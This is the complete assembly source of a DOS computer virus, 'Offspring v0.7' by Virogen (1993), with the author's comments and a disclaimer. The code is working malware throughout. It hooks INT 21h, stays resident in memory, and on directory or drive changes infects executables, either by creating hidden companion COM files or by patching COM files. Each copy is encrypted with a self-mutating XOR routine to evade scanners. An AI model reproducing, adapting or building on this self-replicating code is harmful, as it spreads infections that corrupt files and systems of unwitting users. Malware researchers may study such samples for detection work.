;------------------------------------------------------------------------- ; ************************************************ ; OFFSPRING v0.7 - BY VIROGEN - 04-26-93 ; ************************************************ ; ; - Compatible with A86 v3.22 ; ; ; DISCLAIMER : Don't hold me responsible for any damages, or the release ; of this virus. Use at your own risk. ; ; TYPE : Parastic Spawning Resident Encrypting (PSRhA) ; ; ; VERSION : BETA 0.7 ; ; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function ; 0Eh (change drive) is called the virus will infect ; up to 5 files in the current directory (the one ; you're coming out of). It will first infect all ; EXE files by creating a corresponding COM. Once ; all EXE files have been infected, it then infects ; COM files. All COM files created by a spawning ; infection will have the read-only and hidden ; attribute. ; ; ; THE ENCRYPION OF THIS VIRUS : ; Ok, this virus's encryption method is a simple ; XOR. The encryption operands are changed directly. ; Also, the operands are switched around, and the ; bytes between them are constantly changed. The ; call to the encryption routine changes, so the ; address can be anywhere in a field of NOPs. ; Not anything overly amazing, but it works. ; ; TITLE OFFSPRING_1 .286 CSEG SEGMENT ASSUME CS: CSEG, SS: CSEG, ES: CSEG SIGNAL EQU 7DH ; Installation check REPLY EQU 0FCH ; reply to check CR EQU 0DH ; carraige return LF EQU 0AH ; line feed F_NAME EQU 1EH ; Offset of file name in FF/FN buffer F_SIZEL EQU 1CH ; File size - low F_SIZEH EQU 1AH ; File size - high F_DATE EQU 18H ; File date F_TIME EQU 16H ; File time MAX_INF EQU 05 ; Maximum files to infect per run MAX_ROTATION EQU 9 ; number of bytes in switch byte table PARASTIC EQU 01 ; Parastic infection SPAWN EQU 00 ; Spawning infection ORG 100H ; Leave room for PSP ;------------------------------------------------------------------ ; Start of viral code ;------------------------------------------------------------------ START: DB 0BEH ; MOV SI,xxxx - Load delta offset SET_SI: DW 0000H SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on ; replicated copies. M_SW1: NOP ; changs into a byte in op_set XCHG_1 DB 0BFH DW OFFSET ENC_DATA+2 ; Point to byte after encryption num ; Switches positions with XCHG_2 M_SW2: NOP ; changes into a byte in op_set XCHG_2 DB 090H ENC_NUM DW 9090H M_SW3: NOP DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx ADD_DI: DW 9000H ; 00-NOP CALL_ENC DB 0E8 ; Call encryption routine - address changes E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2) NO_DEC: JMP MAIN ; Jump to virus code ;----------------------------------------------- ; Data area ;----------------------------------------------- ENC_DATA DW 0000 ; Start of encrypted data ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET VTYPE DB 00 ; Spawning or Parastic Infection? INF_COUNT DB 0 ; How many files we have infected this run COM_NAME DB 'COMMAND.COM' ; obvious NEW_CODE DW 9090H ; ID bytes NEW_JMP DB 0E9H,00,00 ; New Jump FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf. ADD_MEM DB 0 ; restore mem size? Yes,No ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *' DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$' FNAME1 DB '*.EXE',0 ; Filespec FNAME2 DB '*.COM',0 ; Filespec FNAME_OFF DW FNAME1 ; Offset of Filespec to use TIMES_INC DB 0 ; # of times encryption call incremented SL DB '\' ; Backslash for directory name FILE_DIR DB 64 DUP(0) ; directory of file we infected FILE_NAME DB 13 DUP(0) ; filename of file we infected OLD_DTA DD 0 ; old seg:off of DTA OLD21_OFS DW 0 ; Offset of old INT 21H OLD21_SEG DW 0 ; Seg of old INT 21h NEW_SEG DW 0 ; New segment in high mem PAR_BLK DW 0 ; command line count byte -psp PAR_CMD DW 0080H ; Point to the command line -psp PAR_SEG DW 0 ; seg DW 05CH ; Use default FCB's in psp to save space PAR1 DW 0 ; DW 06CH ; FCB #2 PAR2 DW 0 ; ;-------------------------------------------------------------------- ; INT 21h ;--------------------------------------------------------------------- NEW21 PROC ; New INT 21H handler CMP AH, SIGNAL ; signaling us? JNE NO MOV AH,REPLY ; yep, give our offspring what he wants JMP END_21 NO: CMP AH, 3BH ; set dir func? JE RUN_RES CMP AH,0EH ; set disk func? JE RUN_RES JMP END_21 RUN_RES: PUSHF PUSH AX ; Push regs PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH BP PUSH DS PUSH ES PUSH SP PUSH SS PUSH CS POP DS XOR AX,AX ; nullify ES MOV ES,AX CMP ADD_MEM,1 ; Restore system conventional mem size? JE REL_MEM ; CMP AH,48H ; alloc. mem block? If so we subtract 3k from JE SET_MEM ; total system memory. JMP NO_MEM_FUNC SET_MEM: SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem INC ADD_MEM ; make sure we know to add this back JMP NO_MEM_FUNC REL_MEM: ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem DEC ADD_MEM NO_MEM_FUNC: MOV AH,2FH INT 21H ; Get the DTA MOV AX,ES MOV WORD PTR OLD_DTA,BX MOV WORD PTR OLD_DTA+2,AX PUSH CS POP ES CALL RESIDENT ; Call infection kernal MOV DX,WORD PTR OLD_DTA MOV AX,WORD PTR OLD_DTA+2 MOV DS,AX MOV AH,1AH INT 21H ; Restore the DTA POP SS ; Pop regs POP SP POP ES POP DS POP BP POP SI POP DI POP DX POP CX POP BX POP AX POPF END_21 : JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h IRET NEW21 ENDP ; End of handler ;------------------------------------------------------------ ; Main ;----------------------------------------------------------- MAIN PROC MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H MOV AX,DS: 002CH ; Get environment address MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC MOV [SI+OFFSET PAR2],CS MOV [SI+OFFSET PAR_SEG],CS MOV AH,2AH ; Get date INT 21H CMP DL,14 ; 14th? JNE NO_DISPLAY MOV AH,09 ; Display message LEA DX,[SI+OFFSET ID] INT 21H NO_DISPLAY: CALL INSTALL ; check if installed, if not install CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC JE SKIP_THIS MOV BX,(OFFSET VEND+50) ; Calculate memory needed MOV CL,4 ; divide by 16 SHR BX,CL INC BX MOV AH,4AH INT 21H ; Release un-needed memory LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE LEA BX,[SI+OFFSET PAR_BLK] MOV AX,4B00H INT 21H MOV AH,4CH ; Exit INT 21H SKIP_THIS: MOV CX,5 ; Restore original first ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file MOV DI,0100H CLD REP MOVSB MOV AX,0100H ; Simulate CALL return to 0100h PUSH AX RET MAIN ENDP ;--------------- ; INSTALL - Install the virus ;-------------- INSTALL PROC MOV AH,SIGNAL INT 21H CMP AH,REPLY JE NO_INSTALL MOV AX,CS DEC AX MOV DS,AX CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in ;the chain? JNE NO_INSTALL MOV AX,DS: [3] ;Block size in MCB SUB AX,190 ;Shrink Block Size-quick estimate MOV DS: [3],AX MOV BX,AX MOV AX,ES ADD AX,BX MOV ES,AX ;Find high memory seg PUSH SI ADD SI,0100H MOV CX,(OFFSET VEND - OFFSET START) MOV AX,DS INC AX MOV DS,AX MOV DI,100H ; New location in high memory CLD REP MOVSB ; Copy virus to high memory POP SI MOV DS: NEW_SEG,ES ;Save new segment PUSH ES POP DS XOR AX,AX MOV ES,AX ; null es MOV AX,ES: [21H*4+2] MOV BX,ES: [21H*4] MOV DS: OLD21_SEG,AX ; Store segment MOV DS: OLD21_OFS,BX ; Store offset CLI MOV ES: [21H*4+2],DS ; Save seg LEA AX,[OFFSET NEW21] MOV ES: [21H*4],AX ; off STI NO_INSTALL: PUSH CS ; Restore regs POP DS MOV ES,DS RET INSTALL ENDP ;------------------------ ; Resident - This is called from the INT 21h handler ;----------------------------- RESIDENT PROC MOV VTYPE,SPAWN MOV WORD PTR SET_SI,0000 ; SI=0000 on load MOV BYTE PTR DI_INS,83H ; ADD DI,0 op MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00 MOV BYTE PTR INF_COUNT,0 ; null infection count MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE FIND_FIRST: MOV WORD PTR VEND,0 ; Clear ff/fn buffer LEA SI, VEND LEA DI, VEND+2 MOV CX,22 CLD REP MOVSW ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions MOV AH, 1AH LEA DX, VEND INT 21H MOV AH, 4EH ; Findfirst MOV CX, 0 ; Set normal file attribute search MOV DX, FNAME_OFF INT 21H JNC NEXT_LOOP ; if still finding files then loop JMP END_PROG NEXT_LOOP : CMP VTYPE, PARASTIC ; parastic infection? JE START_INF ; yes, skip all this MOV AH,47H XOR DL,DL LEA SI,FILE_DIR INT 21H CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+ JE OK_FIND ; for spawning infections JMP FIND_FILE OK_FIND: XOR BX,BX LM3 : ; find end of directory name INC BX CMP FILE_DIR[BX],0 JNE LM3 MOV FILE_DIR[BX],'\' ; append backslash to path INC BX MOV CX,13 ; append filename to path LEA SI,VEND[F_NAME] LEA DI,FILE_DIR[BX] CLD REP MOVSB XOR BX,BX MOV BX,1EH LOOP_ME: ; search for filename ext. INC BX CMP BYTE PTR VEND[BX], '.' JNE LOOP_ME INC BX ; change it to COM MOV WORD PTR VEND [BX],'OC' MOV BYTE PTR VEND [BX+2],'M' START_INF: CMP VTYPE, PARASTIC ; parastic infection? JE PARASTIC_INF ; yes.. so jump ;-------------------------------------- ; Spawning infection LEA DX, VEND[F_NAME] MOV AH, 3CH ; Create file MOV CX, 02H ; READ-ONLY OR CX, 01H ; Hidden INT 21H ; Call INT 21H JNC CONTIN ; If Error-probably already infected JMP NO_INFECT CONTIN: INC INF_COUNT MOV BX,AX JMP ENCRYPT_OPS ;---------------------------------------- ; Parastic infection PARASTIC_INF : CMP VEND[F_SIZEh],400H JGE CONT_INF2 JMP NO_INFECT CONT_INF2: LEA SI,VEND[F_NAME] ; Is Command.COM? LEA DI,COM_NAME MOV CX,11 CLD REPE CMPSB JNE CONT_INF0 ; Yes, don't infect JMP NO_INFECT CONT_INF0: MOV AX,3D02H ; Open file for reading & writing LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer INT 21H JNC CONT_INF1 ; error, skip infection JMP NO_INFECT CONT_INF1: MOV BX,AX MOV AH,3FH ; Read first five bytes of file MOV CX,05 LEA DX,FIRST_FIVE INT 21H CMP WORD PTR FIRST_FIVE,9090H JNE CONT_INF MOV AH,3EH INT 21H JMP NO_INFECT CONT_INF: INC INF_COUNT MOV AX,4202H ; Set pointer to end of file, so we XOR CX,CX ; can find the file size XOR DX,DX INT 21H ;SUB AX,0100h ; Subtract PSP size MOV WORD PTR SET_SI,AX ; Change the MOV SI inst. MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx MOV BYTE PTR DI_INS,81H ; ADD DI op MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H MOV AX,VEND[F_SIZEH] SUB AX,5 MOV WORD PTR NEW_JMP+1,AX MOV AH,40H MOV CX,6 LEA DX,NEW_CODE INT 21H MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ENCRYPT_OPS: ;----------------------------- ; Change encryptions ops PUSH BX MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2 MOV BX,WORD PTR XCHG_2 MOV WORD PTR XCHG_1,BX MOV WORD PTR XCHG_2,AX MOV AH, BYTE PTR XCHG_1+2 MOV BH, BYTE PTR XCHG_2+2 MOV BYTE PTR XCHG_1+2,BH MOV BYTE PTR XCHG_2+2,AH XOR_DONE: CHG_TWO: XOR CX,CX ; CX=0 LEA DI,SW_BYTE1 ; DI->sw_byte1 CHG_REST: INC ROT_NUM ; increment rotation number MOV BX,ROT_NUM ; bx=rotation num MOV AH,OP_SET[BX] ; ah = new op code from set MOV BYTE PTR [DI],AH CMP ROT_NUM,MAX_ROTATION ; max rotation num? JNE CHG_CNT ; no, chg_cnt MOV WORD PTR ROT_NUM,0 ; reset rotation num CHG_CNT: INC CX ; increment count CMP CX,1 LEA DI,M_SW1 JE CHG_REST CMP CX,2 LEA DI,M_SW2 JE CHG_REST CMP CX,3 LEA DI,M_SW3 JE CHG_REST CMP CX,4 LEA DI,SW_BYTE1 JE CHG_REST CHG_THREE: XOR CX,CX LEA DI,SW_BYTE3 CHG_FOUR: CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'? MOV BX,1 ; JE MOV_POS ; Yes, so change it to the second CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI' MOV BX,2 ; JE MOV_POS ; Yes, change it to the third XOR BX,BX ; Else, must be in final position MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd) MOV BYTE PTR [DI+2],90H ; to NOP MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos. CMP BX,2 JNE NO_CHANGE INC CX CMP CX,2 LEA DI,SW_BYTE4 JNE CHG_FOUR NO_CHANGE: CMP BYTE PTR TIMES_INC,9 JE INC_NUM INC WORD PTR B_WR INC WORD PTR E_JMP INC WORD PTR E_JMP INC TIMES_INC JMP D2 INC_NUM: SUB WORD PTR B_WR,09 SUB WORD PTR E_JMP,18 MOV TIMES_INC,0 ;----------------------- ; Get random XOR number, save it, copy virus, encrypt code D2: MOV AH,2CH ; INT 21H ; Get random number from clock - millisecs MOV WORD PTR XOR_OP+2,DX ; save encryption # MOV SI,0100H LEA DI,VEND+50 ; destination MOV CX,OFFSET VEND-100H ; bytes to move CLD REP MOVSB ; copy virus outside of code LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus CMP BYTE PTR VTYPE, PARASTIC JNE GO_ENC ;add di,si GO_ENC: CALL ENCRYPT ; encrypt new copy of virus ;---------------------------------------- ; Write and close new infected file POP BX MOV CX, OFFSET VEND-100H ; # of bytes to write LEA DX, VEND+50 ; Offset of buffer MOV AH, 40H ; -- our program in memory INT 21H ; Call INT 21H function 40h CMP VTYPE, PARASTIC ; parastic? JNE CLOSE ; no, don't need to restore date/time MOV AX,5701H ; Restore data/time MOV CX,VEND[F_TIME] MOV DX,VEND[F_DATE] INT 21H CLOSE: MOV AH, 3EH INT 21H NO_INFECT: ; Find next file FIND_FILE : CMP INF_COUNT, MAX_INF JE END_PROG MOV AH,4FH INT 21H JC END_PROG JMP NEXT_LOOP END_PROG: EXIT : CMP INF_COUNT,0 ; Start parastic infection on next run JNE FIND_DONE CMP VTYPE, PARASTIC ; Parastic infection done? JE FIND_DONE ; yes, we're finished MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec MOV VTYPE, PARASTIC ; virus type = parastic JMP FIND_FIRST FIND_DONE: MOV VTYPE,SPAWN MOV FNAME_OFF, OFFSET FNAME1 RET RESIDENT ENDP END_ENCRYPT: ; Let's encrypt everything up to here OP_SET DB 90H ; NOP DB 40H ; INC AX DB 43H ; INC BX DB 48H ; DEC AX DB 4BH ; DEC BX DB 0FBH ; STI DB 0FCH ; CLD DB 4AH ; DEC DX DB 42H ; INC DX DB 14 DUP(090H) ;------------------------------------------------ ; Encrypt/Decrypt Routine ;----------------------------------------------- ENCRYPT PROC CX_M DB 0B9H ; MOV CX B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2 E2: SW_BYTE1: ; XOR [di],dx swaps positions with this NOP XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly SW_BYTE3: ; INC DI changes position in these bytes INC DI NOP NOP SW_BYTE4: ; INC DI changes position in these bytes INC DI NOP NOP SW_BYTE2: NOP ; This byte changes into a char in op_set LOOP E2 ; loop while cx != 0 RET ENCRYPT ENDP VEND DW 0 ; End of virus CSEG ENDS END START